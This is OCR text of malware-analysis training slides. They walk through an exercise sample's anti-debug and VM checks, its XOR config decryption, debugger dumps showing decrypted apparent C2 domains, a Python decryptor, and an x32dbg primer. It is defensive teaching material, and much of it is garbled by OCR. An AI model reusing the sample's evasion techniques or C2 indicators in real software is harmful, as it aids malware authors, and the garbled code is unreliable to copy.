0= 1 FOF
Ox41 2002
Ox41201E
Ox412121
Ox412133
Ox412140
0412170
Ox412139
Ox4121 A6
Ox4122E4

Hezx Wiew-1

[1] Local Tvpes

Possible Anti-Debug Technique

=

Imports

Address

011810

Exportz

Time Check

Get Thread/Module Handle
Get Thread/Module Handle
Get UserMName

Analysis Environment Check
Compare Strings

Compare Strings

Analysis Environment Checlk
Compare Strings

Sleep

GethModuleHandle A
GetModuleHandle A

GetlserMamef
GetlUserMamef
|strocmpd
|strocmpd

GetComputerNamea A

l=trermmd

04128605
Ox41 2648
041 26 ED
Ox412705
0412705
Ox41279F
Ox41282F
Ox41 2809
041 29F0




Exercise4 Answer Question4

[
DA Yiew—4 l Detected Function List (£ w finti Debue Detection Rezultz

VM

Double—click on a function

(24detected)
sub_412298

RegCloseKey
{(1detected)

sub_4122F4

(3detected)

sub_4124C9

Sleep
(1detected)

sub_412593

GettoduleHandles
GethoduleHandled
GetUserMNameA
Strstra

Strstra

Strstra

Strstra
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Target Malware : Exercise4.exe (Unpacked Version) e b )

nt v2; //
nt result
nt wvd; // ed
nsigned int vs
roid *w6j; d
nt v7; /,
_BYTE vB
int w93
int v1e;

Questions5. e iz 1] Leprea] ey on)
What is this code doing,
and how can the results of its execution be debugged? | -«

ile ( v4 < v2 );
(vs)
gmemcpy( {void *)}({al + w12}, vi, v5);
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while ( vl < 22 );
if ( virtualProtect(Address, @x184u, @ptdu, &F10LdProtect) )
[

xor_decrypt((int)Address, B8x184)
v id | ) = = L] [ a

- P’c:—_ec—_J &f10ldProtect);

The arguments specify the address and
the size of the data to be decrypted.

© 2025 LAC Co., Ltd.

int _ fastcall sub_BB@@22({int al, int a2}

{

int v2; // esi

int result; // eax

int v4; // edx

unsigned int w5s; // ebx

void *ve; // edi

int v7; // eax

_BYTE vB[1@24]; // [esp+8h] [ebp-414h] BYREF
int vo; // [esp+4esh] [ebp-14h]
int v1@; // [esp+d@Ch] [ebp-18h]
int v11; // [esp+418h] [ebp-Ch]
int v12; // [esp+4lah] [ebp-8h]
char v13; // [esp+41Bh] [ebp-1h]
v2 = al;

vl = alj;

result = 83

vl@ = al;

e -H

V12 = B;

vli = Bx22;

i (v >0 )
do

if (V5 »= ex4se )

i
6 = {void *)}(result + al);
v7 = v5 + result;
gqmemepy (vE, v, vS);
al = v9;

-

vS

w2
H

5 *(_BYTE *){v4 + al);
13 % Bx85);

while (v < Vi );
if (w5 )
gmemcpy ( (void *)(al + w12}, vd, vs);

return result;

This process is carried out in a loop.

An XOR operation is being
attempted with the initial value of
v13 = 0x22.

V13(Key) Update
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® Behavior of a Function That Decrypts Using XOR

Eoru  [Gos [k @ FL-mliub | EEaRwy?  QlO-NeARyh SRSEH [of AmT @uudl Ou-A SuzrliA RALskE @ AVEL  §F Tace IS Strines
00BB00CY 8945 F8 mov dword ptr ss:[ebp-8]J,eax ~ Hide EPU
00BB0OOCC 8A040A mov al,byte ptr ds:[edx+ecx] edx+ecx*1:"0G\VvXA.-"

omd BES000000 et EAX  0000004F o'
| [ETP : 00RR0O0D4 3245 FF xor al,byte ptr ss:[ebp-1] EBX 00000000
faTar-T-YalaTowd 000A1M - A a'l ECX 00BC6120 "OG\VXA. ="

EDX 00000000
EEP 02A2FA70
ESP  02A2F650
ESI 00000134 L's’
EDI 00000085

00BBOODE 8BC2
00BBOOEO 99
00BBOOEL 43
00BBOOE2 F7FF

mov_a L X

00BBOOEG B2 0

00BBOOES8 F6EA . . EIP 008B00D4 exercise4_unpacked
el |t is understood that the memory at ebp-1 ( ) is XORed CFLAGs 00000287
00BBOOFO | 42 =L

00BEOOFL | 8845 with the data to be decrypted, al = 4F ('O'). oF

00BBOOF7 3BD6

008BOOF9 | -~ 7C Aj LastError 00000000 (ERROR_SUCCESS)

LastStatus c0000023 (STATUS_BUFFER_TC

------ 00BBOQFD | ~ 74 QE
00BBOOFF 8BF8 mov edi,eax
00BB0101 8DB5 ECFBFFFF lea esi,dword ptr ss:[[ebp-414] GS 0028 Fs 0053
00BB0107 03F9 add edi,ecx ecx:"0G\vXA.-" ES 0028 Ds 002B

| 00880109 8B8CB mov ecx,ebx ecx: "0G\vXaA.-" Cs 0023 ss 0028

| 00880108 F3:A4 rep movsbh

-----»q00BB010D 5F pop edi sT(0) 00000000000000000000 x87rQ Empt
00BBO10E 5E pop esi sT(1) 00000000000000000000 x87rl Empt
00BBO1OF 5B pop ebx <
00BE0110 8BES mov esp,ebp T74)b bstdeall )
00BB0112 5D pop ebp 1: [esp+4] 73E2A3D0 <kernel32.virtuall
00BB0O113 c3 ret 2: [esp+8] 00BC6120 exercise4_unpackei
00BB0114 53 push ebx .|3: [esp+c] 00000E88 00000E88
< B ' ’ > |4: [esp+10] 0000007F 0000007F

—T=AF "o 5: [esp+14] OOF10000 0OF10000

byte ptr ss:[ebp-1]=[02A2FA6F]=22 "\"'

PELT L g e s s gl e gl s @ tgeF 1 [ Locals 2 Struct
FELZ Hex ASCII
02A2FAGF |22 C8 FA A2 |02 A7 33 BA|00 68 1D F1|00 EO 92 F2 |"Eu¢.§3°.h.A.a.o
02A2FA7F |00 90 9F E2|73 EF 3C BB |00 39 35 04 [4E 03 75 78|...4s7<».95.N.ux
02A2FA8F |70 3F 56 24 |35 47 4E Q1|75 5C 70 16|56 75 35 30 |p?VS$5GN.u\p.vu50
02A2FA9F |53 00 00 0000 00 00 00100 2D 00 00/00 AB 95 F2iS........ -... .0

Ll

0DZAZFAGC | 22000184
C 0ZAZFACS
[ODBA33AT7| return to exercised_unpacked.0D0BA33A7 from exercised4_unpac
00F11D&ES| L™ "C:\\Usersi\WWinlo\\Desktop\\Exercise4_unpacked. binm\""
O0F292E0| "SHELL3Z.d11™

73E29F90| kernel32.73E29F90

D0BB3CEF|return to exercised4_unpacked.OO0BBICEF from exercised_unpac
4E043539
70787503
3524563F
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Eoru  [Gor Bt @ Lo EEARTyY )3 A%D SRSEH o] AMTE @ud QU2 LuzrlyA | B ALyE @ AVEL §F Trace I Strines
00BB00C9 8945 F8 mov dword ptr ss:[ebp-8],eax ~ Hide H
00BB0OOCC 8A040A mov al,byte ptr ds:[edx+ecx] edx+ecx*1: "0G\VvXA.-" =
00BBOOCF |  BF 85000000 mov edi, B85 EAX 0000006D m

St P EBX 00000000 . .,
[EIP 88841D ECFBFFFF mov byte ptr ss:[ebp+eBx-414],a1 ECX 00BC6120 OG\VXA. -
....... SBea - EDX 00000000

EBP  02A2FA70
ESP  02A2F650
ESI 00000184 L's"

00000085

00BBOOEO 929
00BBOOEL 43
F7FF

exercise4_unpa

The result of the XOR operation is stored at the memory address [ebp + ebx — 414].
Therefore, the decrypted result is unpacked at this memory address.

00 200000 (ERROR_SUCCES

- 00BBOOFD | ~ 74 OE je exercise4_unpacked.BBRO10D 0000023 (STATUS_BUFFE
| 00BBOOFF 8BF8 mov edi,eax
008B0101 8DB5 ECFBFFFF Tea esi,dword ptr ss:[lebp-414] GS 0028 Fs 0053
00BB0107 03F9 add edi,ecx ecx: "OG\VXA.-" ES 0028 Ds 0028
] 8BCB mov ecx,ebx ecx: "0G\VXA.-" Cs 0023 ss 0028
5 F3:A4 rep movsh
boe 5F pop edi sT(0) 00000000000000000000 x87r0
00BBO10E 5E pop esi ST(1) 00000000000000000000 x87rl
00BBO1OF 5B pop ebx g
8RBES mov esp,ebp 74l Mstdeall) _
5D pop ebp 1: [esp+4] 73E2A3D0 <kernel32.virt
c3 ret 2: [esp+8] 00BC6120 exercise4_unpg
00BB0114 53 push ebx .|3: [esp+C] O0000E88 O0000ES8
<0 T ) ) > |4: [esp+10] 0000007F 0000007F
b{te ptr ss:[ebp+ebx*1-414]=[02A2F65C]=88 5: [esp+14] 00F10000 00F10000
al=6D "m’
€

00000184

w7 AT glieyT s lALT 4 @lAuTs @ oaeF 1 pellocals | P Stuct 0242F65 4| 73E2A3D0 | kernel32.73E2A300
i

=7 ASCIT _ o2 DDBCE%%DS exercised4_unpacked. "OG\WXA.-"
02A2F65c)(88J0E 00 00 [7F 00 00 00|00 00 FL 00[07 00 00 00 [mu.eeevn... A.wn.. e REen DOCODOSE
8§A§Fgg % gz FL 00|02 00 04 06 00 00 F1 00 | 02 04 22| .A..... A8 02Az756¢ | 00000007
A2F67C 60 04t i AT DaAsFers| Den4000s
q >
02A2F68C |FO 9-%0&2%5 fﬁDEOE 00 00[7F 00 00 07 00 00 00 [M...v.n... Ao, 0242767+ 00F10000
02A2F66 02 F1 00|02 00 04 24 02 04 22| f....... A.§.."
02A2F67C |60 02 FL 00 (07 00 00 00 00 F1 00| .A..... &.0...A.
02A2F68C |FO 95 F2 00 |00 00 F1 00 F8 A2 02 |8.0...A...... at
N2A20r- 100 NN 21 00 B 70 2 AN N0 00 00 . 2T Y
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Before Decryption

After Decryption

02A2F65C 188 OE 00 00 |7F 00 00 0000 00 FL 00107 00 00 00 .......... A..... 0ZAZF65C[BD 65 ZE 73 [/5 bE 6Z Bl [6C 6C 61 73|74 2E bb /Z [me.sunballast.fr
02A2F66C (60 02 F1 00|02 00 04 06 |00 00 F1 00|24 02 04 22 .A. .A.$.."| [02A2F66C 00 00 00 00 00 00 00 00|00 00 00 0000 00 00 00 |............ ...
02A2F67C |60 _02_F1 00 |07 00 00 00 |E8_ 95 _F2 00|00 00 F1 00| .A..... é.o6...A. | |02A2F67C|6B 6F 6F 68 |79 2E 74 6F|70 00 00 00 00 00 00 00 |koohy.top.......
02A2F68C [FO_95 F2 00 (00 00 F1 00|07 00 00 00|00 _F8 A2 02 3.0...A...... ¢ . 02A2F68C (00 00 00 00 (00 00 00 00|00 00 00 0000 00 00 QO |................
02A2F69C [00_00 FL 00 D8 70 2E 77 |A8 95 F2 00|00 00 00 00 |..A.@p.w .O..... 02A2F69C (00 00 00 00 (00 00 00 00|00 00 00 00 (00 00 00 QO |................
02A2F6AC |B7 67 2E 77 |FL B6 72 06 |38 00 00 00|00 00 FL1 00 -g.wAfr.8..... A 02A2F6AC (00 00 00 00 (00 00 00 00|00 00 00 00 (00 00 00 Q0 |................
02A2F6BC (2D 00 00 00 |[E1 B6 72 06 |30 00 00 00|00 00 FL 00 |-...afr.0..... A 02A2F6BC (00 00 00 00 (00 00 00 00|00 00 00 00 (00 00 00 00 |.....ccvveuunnn.
02A2F6CC (25 00 00 00 D8 70 2E 77 |A8 95 F2 00|00 00 00 00 |%...@p.w .0..... 02A2F6CC |00 00 00 00 (00 00 00 00 {00 00 00 00 (00 00 00 00 |...cvvvuuuunnn..
02A2F6DC [B7_67 2E 77 |02 00 04 06 |28 00 00 00|24 02 04 22 |-g.w....(...$.."| |02A2F6DC 00 00 00 00 (00 00 00 00|00 00 00 00 (00 00 00 00 |.....ccvvvuunun.
02A2F6EC |19 00 00 00|02 00 04 06 [E5 FD FF FF|AE 04 F1 00 ........ ayyye.n 02A2F6EC (00 00 00 00 (00 00 00 00|00 00 00 00 (00 00 00 00 |.....cvvveunnnn.
02A2F6FC (00 00 F1 00|02 00 04 06 [E4 FD FF FF|AC 04 FL 00  ..A..... dyyy-.f 02A2F6FC (00 00 00 00 (00 00 00 00|00 00 00 00 (00 00 00 00 |.....ovuveunnnn.
02A2F70c |00 00 00 00|02 00 04 06 DE FF FF FF |32 00 04 36 |........ byyy2..6| |02A2F70C|00 00 00 00 |00 00 00 00|00 00 00 00|00 00 00 00 |.....cvvuuuennn.
02A2F71C |A8 95 F2 00 34 F7 A2 Q2 |DE FF FF FF |32 00 04 36| .0.4=¢.pyyy2..6 02A2F71cC |00 00 00 00|00 00 00 Q0[O0 OO0 OO OO|OO QOO OO OO |...eeeeeeennnn..
02A2F72C |07 00 00 00 32 00 04 36 DE FF FF FF|32 00 04 36 |....2..6byyy2..6| |02A2F72C|00 00 00 00 |00 00 00 00|00 00 00 00(00 00 00 Q0 |................
02A2F73C (07 00 00 00 |00 00 F1 00 [EO 95 F2 00(32 00 04 36 |...... fi.a.0.2..6| |[02A2F73C |00 00 00 00 (00 00 00 00|00 00 00 Q0 (00 00 00 00 |.....cvvvuuunnn.
02A2F74C |08 00 00 00 (00 00 00 00 |7F 00 00 00(10 00 00 00 |....vvueeuunnnn. 02A2F74C |00 00 00 00 |00 00 00 00|00 00 00 00 (00 00 00 00 |...vvveurennnnn.
02A2F75C (0 00 F1 00 (84 02 F1 00 |7F 00 00 00|10 00 00 00 |A.A...A......... 02A2F75C (00 00 00 00 (00 00 00 00|00 00 00 00 (00 00 00 00 |....vveuueunnnn.
02A2F76C (00 00 FL 00 (48 00 00 00 |60 02 F1 00|02 00 04 06 |..A.H... .A..... 02A2F76C (00 00 00 00 (00 00 00 00|00 00 00 00 (00 00 00 00 |....vveuueunnnn.
02A2F77cC |70 00 00 00 (10 00 00 00 |00 00 00 00|10 01 00 00 P.'vvvueeennnn.. 02A2F77C |00 00 00 00 (00 00 00 00|00 00 00 00 (00 00 00 00 |....vvvuveunnnn.
02A2F78C |00 00 00 00|10 00 OO0 00|50 96 F2 00 (00 00 FL OO |...vuunn P.o ﬁ 02A2F78C (00 00 00 Q0|00 OO0 OO0 QO (00 OO0 00 Q00|00 00 00 OO0 .ve e s i v i v ennns
02A2F79C (00 00 00 00 |01 00 00 00 |AO 95 F2 00|AD 95 F2 00 |........ .0. .O. 02A2F79C [8C 0A 00 00|73 76 63 68 |6F 73 74 2E (65 78 65 00|....svchost.exe.
02A2F7AC [6B 01 00 50 |A8 95 F2 00 |A8 95 F2 00]20 96 F2 00 k..P".0.".0. .0. 02A2F7AC |00 00 00 00 (00 00 00 00|00 00 00 00[00 00 00 OO0, ..o ...
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Exercise4 Answer Questionb

C3 25 84 F2

B4 9C 22 5h 2F
3F 90 E4 3B 95
B7 38 BC 43 CD
2F ED 94 4B 05
A7 88 60 53 3D
1F 30 44 BB 75
97 D8 1C 63 AD
OF 80 F4 6B Eb

00 03 0% "2 1E 2D 3F b4 6C 87

F7 30 84 CF

30 93 F9 62 CE 3D AF 24 9C 17

67 0C B4 5F
07 OC B4 EF
Eb 47 A0 14 7F

CO 43 C3 %2 DE DE E1 E7 FO FC

A9 DF 18 54

C A0 F7 51 AE OE /1 D7 40 AC

39 CF 68 04
64 BF Fb 5C
C3 BF B3 B4

a0 17 31 4E 6E 91 B7 EO OC

00 01 02 03 04 05 06 0

4F 47 0B 58 41 2E 20 0 E2 C8

84 BA ED 23 5C 98 D7 1 46 F1

93 30 D& 73 FD DE 2B B BE 39

b4 E& VD 13 AC 48 EV 8 06 81

Cz 82 45 0B D4 A0 6F 4 EE C9

28 1A 0D 03 FC RS F7F 06 11

92 B2 Db FB 24 50 7F B1 E6 'E 59

FA 44 90 F3 4C A8 07 69 CE 36 Al

62 E2 60 EB 74 00

A5 C6 EA 171 3B 68 98 CB 01 34 76 BS
1D 6E C2 19 73 DO

95 16 94 21 AB 36 C& BB F1 84 26 Ch
0D BE 72 29 E3 A0 60 23 E9 B2 7E 4D 1F F4 CC A7
85 B6 44 31 1B 08 F&8 EB E1 DA D6 DO
FD OE 22 39 53 70 90 B3 D9 02 2E 5D 8F C4 FC 37
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1B 8D 02 74 F5 73 F4 78 FF 83 16 46
2F 4F EA 92 4E 9D FF 38 68 Bz 04 10
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Exercise4 Answer Questionb

import sys
import os

def decrypt(config):
counter =0
key = 0x22
idiv_val = 0x85
imul_val =3

r i F ! decrypted =[]

|__]-I: ::ll__j'l: 'I- | | = :l # Process binary data

- for i in config:
dec_val =i " key
decrypted.append(chr(dec_val))
add_to_key = counter % idiv_val
imul_val =3
add_to_key = imul_val * add_to_key
key += add_to_key
key = key & Oxff
counter +=1

# Return decrypted result
return "".join(decrypted)

if __name__=="__main__":
if len(sys.argv) < 2:

Python code to decrypt the (s o o
print("Usage: python script.py <binary_file> [output_file]")
previously encrypted data ety

file_path = sys.argv[1]
output_file = sys.argv[2] if len(sys.argv) >= 3 else "output.bin"

if not os.path.isfile(file_path):
print("Error: File not found.")
sys.exit(1)

try:
# Open the binary file safely in read-only binary mode
with open(file_path, "rb") as f:
config = f.read()

# Decrypt data
result = decrypt(config)

# Save result to file
with open(output_file, "w", encoding="utf-8") as f:
f.write(result)

print("Decrypted result:")
print(result)
print(f"¥nResult saved to: {output_file}")

except Exception as e:
print(f"Error: {e}")
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Exercise4 Answer Question4

Edit anti_debug techniques_descriptions.json.

T I:r'lu”l"dfdLE_r'-.Ul"Il”I”'IE_r[UL.E:".:-::-E:: . Mo LTEAdTCSTODTMNE TR ZINEdEP=T00 TUNCTTONT T CSriumzET TS TUTmiTmE HTULE::-::-E'::- FOOLT MTEMND D2 O2STSCTITE 4 SPECTT TT Ad2DUEEC]

i "Nt Set Informat ionThread™ : They may be attempting to hide the debug thread using NtSe ”

7 “ThreadHi deF romDebugge r_0><1 17 ¢+ "The function NtSet Informat ionThread is invoked tg

it "Nt Quervinformat ionProcess™ : “This is an APl § requent |v used to check if debuze

19 “NtOuervInformat ionFrocess_POPort™ @ "By passing the ProcessDebugPort as an arg

§[1) "Ht Sue Iy % r‘i ormat i omE rocess_EBElLags"H : dl?y US| nﬁ P rocgssDebugFgagab (01 L J 3 i th (BH

i "Nt QuervInformat ionProcess,_| jectHandle”™ @ “Using ProcessDebuglbjectHandle (0 1 1 1

h2 Wt QuervSvstemInformat ion KD Check”™ @ "Calling NtQuervSwstemlnformat ion with Svs An Important pOInt to note is that the rUIe names
n3 “bxtract Resource Section” "Uat a in the Hesource section might be loaded by ma

listed in this file must match those in the

i ”Commucate_functiorw_Strmg : "Irdicating potential commumcat i on features, pOsS
b5 “Commucate_function” : Detected by characters related to 7/ and 443 . indicat

§g ﬁn’u gahggox gandBox é & dl:j I.JE'-. |? checkmglwhethe}: tie ama}!ys }_I] 5 ing Derfor
0 t i : 1 1 . . .
o [y, AneRoR PURtel sanchox Aatveet 'S checring whethe be possible to verify the details of the rules.

LOmmMUCATE_TUNCT 10N Strng  ©  Indicat |
Commucate function™ Detected by chara®
”ﬁﬁti-Sandbox_SandBOX|e Tt is checklﬁg whether the analvsis is belng o=

“Wware-Machddress-Check 17

: -dl!n a SandBOX|elsandbox ,e

anti_debug.config. If they do not match, it will not

“This value checks whether it is an analvsis environment based on YMware-specific MAC addregsea:"
:VMware-Macﬂddregs-Check_E: : :This value checks whether it is an analvsis environment based on YMware-specific MAC addFESSES.:
Viware-Machddress-Checl 37 ¢ "This value checks whether it is an analvsis environment based on VMware-specific WAL addresses.

-

© 2025 LAC Co., Ltd.

160



Appendix

An Introduction to the Basic Usage of x32/64dbg



How to Use x32/64 dbg

JPAMF) T FHHD) Tracine  FSHUP) BEILADN AFUIA0)  ALFH)  Mar 4 2023 (ThanEngine)
DE =0 ¥ § tuallo=SoPLh# sL HE
orl @oy P o-k @ A-bliut B aRewyd P o-e2ses MPSEH @ oaaudE Qo Bu-2

55 E
83ES

&4 04

8D6424 BO
8D05 7E980000

uplia ALk L RL P Trace

daddressspact

FPoint>

A 0D
EB 5SA530000
85C0
OF85 51530000

00 0053
@ 35590000 002B
00ZBE

97964
5390000

0000
0000
0000

oo
oo
oo

000
000
000

68 BCI64 0000000 000 00(
7E 0000000 000 00
0000000 000 . 000
'35533'3'3'3'3 00000000000000000000 . 0000
w ES 20000
68 A5964000 : XBTTW_0 3 ( y X8FTW_1 3 ( y
68 97964000 sh 1 < >
0380000 HEl sanpie. 407146 Tl Hatdoall) - [5 |0 o
~ 5 DFS 80000 sample. 40719E : [esp+4] 002A1000 <PEB.InheritedAddressspaf .|
2 A Y ET I e nall 3 ==Thee nit
68 scoes .3 Stackdata-during-a
17 015FFDC 001 C
:snogfg ntd & 300603
Tables in general ¢ function call
- E262C4|return t nel3z B m TT?
;5T W AeF 1 B Locals Struct 002A1000 < "
7 122, ASCII
A1000
A1010 .
A1020 A1000| <
A1030 *10:;333 '
241040 ===
A1050
ntd11.773150E0 v
rd

Default
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How to Use x32/64 dbg

TPAME) FTO)  TLH0)  Tracine_ JIHUF) BRIEADD  ATYEU0)_ALIH  Mar
T e e e

2| Restart : Ctrl + F2 A:| Display Strings

=»| EXxecution : F9

4| stepinto: F7

;4 stepover: F8

4| Execute till Return : Ctrl + F9O

=+ Execute till user code : Alt + F9
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How to Use x32/64 dbg

Soru @os P ot @IL-stiub ]| Eoriwr | P a-eases BseH @2 Qv M-
PR L2 T3 Party 1% 36 k=3 h47F Protection | Initial
po010000 | 00010000 (5 User MAP
po020000 | 0000AQOO i PRV
po030000 | 00001000 PRV
pO040000 | 00016000 & MAP
pO0E0000 | 00035000 [ reserved PRV
po095000 | 0000BO0O PRV
PO0ADDDO | DDOFEOOO (i} reserved PRV
po013B8000 | 00005000 Stack (3820) PRV
P01A0D000 | 00004000 i MAP
po1B0000 | 00002000 i PRV
. . . p01C0O000 | 00035000 (& rReserved PRV
This memory map displays the memory regions
p0200000 | 000ACOOO Reserved PRV
p0ZAD000 | DDO0EQOO i} PEE, TEE (3820), Wowe4 TEE (3820 PRV
. . POZAENDO | 00152000 Reserved (00200000) PRV
00001000 sample. exe IMG
currently used by the process. The main details are
00001000 [ ", pdata” Exception information IMG
00001000 |§ " ydata" IMG
as fo”ows- 00027000 (& ".rsrc” Resources IMG
. 00001000 |§ .re IMG
00035000 [§ Reserved PRV
0000B000 [§ PRV
00001000 [§ PRV
00006000 |8 PRV
00004000 |§ reserved (00440000) PRV
. .. . . 00035000 [§ Reserved PRV
. 0000E000 |§ PRV
. Address Range: The starting position and size of Coatsons f (2o |vesp 0 o
O00ECO00 |8 rReserved (00500000) PRV
000C1000 (§ woevicehHar ddiskvolumesiwindows®, MAF —-R-———
000FCO00 |8 rReserved PRV
the l | Iel I lory. 00004000 |§ stack (5076) PRV | -RW-G
O000FDOO00 [§ Reserved PRV
noOnNn 3000 (& Stark (4RFNJ PRV -RW-0
" d PRV
° P . Th f th h DOOFDO0O |3 Reserve i o
urpose: € usage o € memaory, Ssucn as 00003000 Stack (4164) PRV |-
00174000 |§ reserved (00900000) MAP
M H 00005000 [§ MAP R——
stack, heap, code section (.text), or data section co00s000 i ser | T e
14 4 * ) 00181000 (§ MAP -R---
0008D000 |8 MAP R——
013732000 |§ reserved (00CFO000) MAP
ata 00003000 [§ Heap (ID 1 PRV | -RW--—
° ° 00000000 (§ Reserved (0D2230000) PRV
00052000 [§ IMG
S P . . A . . h R d R 0007 7000 (& ING
rotection: Access permissions such as Rea ’ 39903222 SR s
00002000 "L text” E{TOREI - K IMG
W -t W d E t X 00001000 ".data" Initialized data IMG
00001000 . idata” Import tables IMG
rI e ( )’ an Xecu e ( )' 00001000 ".rsrc” Resources ING
00001000 ".reloc” Base relocations ING
00001000 apphelp.dil IMG
000&F000 "L Text™ FITOREI - K IMG
00002000 ".data" Initialized data IMG
00003000 . idata” Import tables IMG
00017000 ".rsrc” Resources ING
00006000 ".reloc" Base relocations IMG
00001000 kernel32.d11 IMG
0000F000 reserved (73E10000) IMG
00064000 "L Text™ FITOREI - K IMG
0000C000 reserved (73E10000) IMG
00027000 . rdata” Read-only initialized data IMG -R———
000029000 rReserved (73E10000) IMG
00001000 ".data" Initialized data IMG -RwW-—
0000F000 Reserved (73E10000) IMG
00001000 .Fsrc Resources IMG | -R---
0000F000 Reserved (73E10000) IMG
00005000 ".reloc™ Ease relocations IMG -R———
0000B000 Reserved (73E10000) MG
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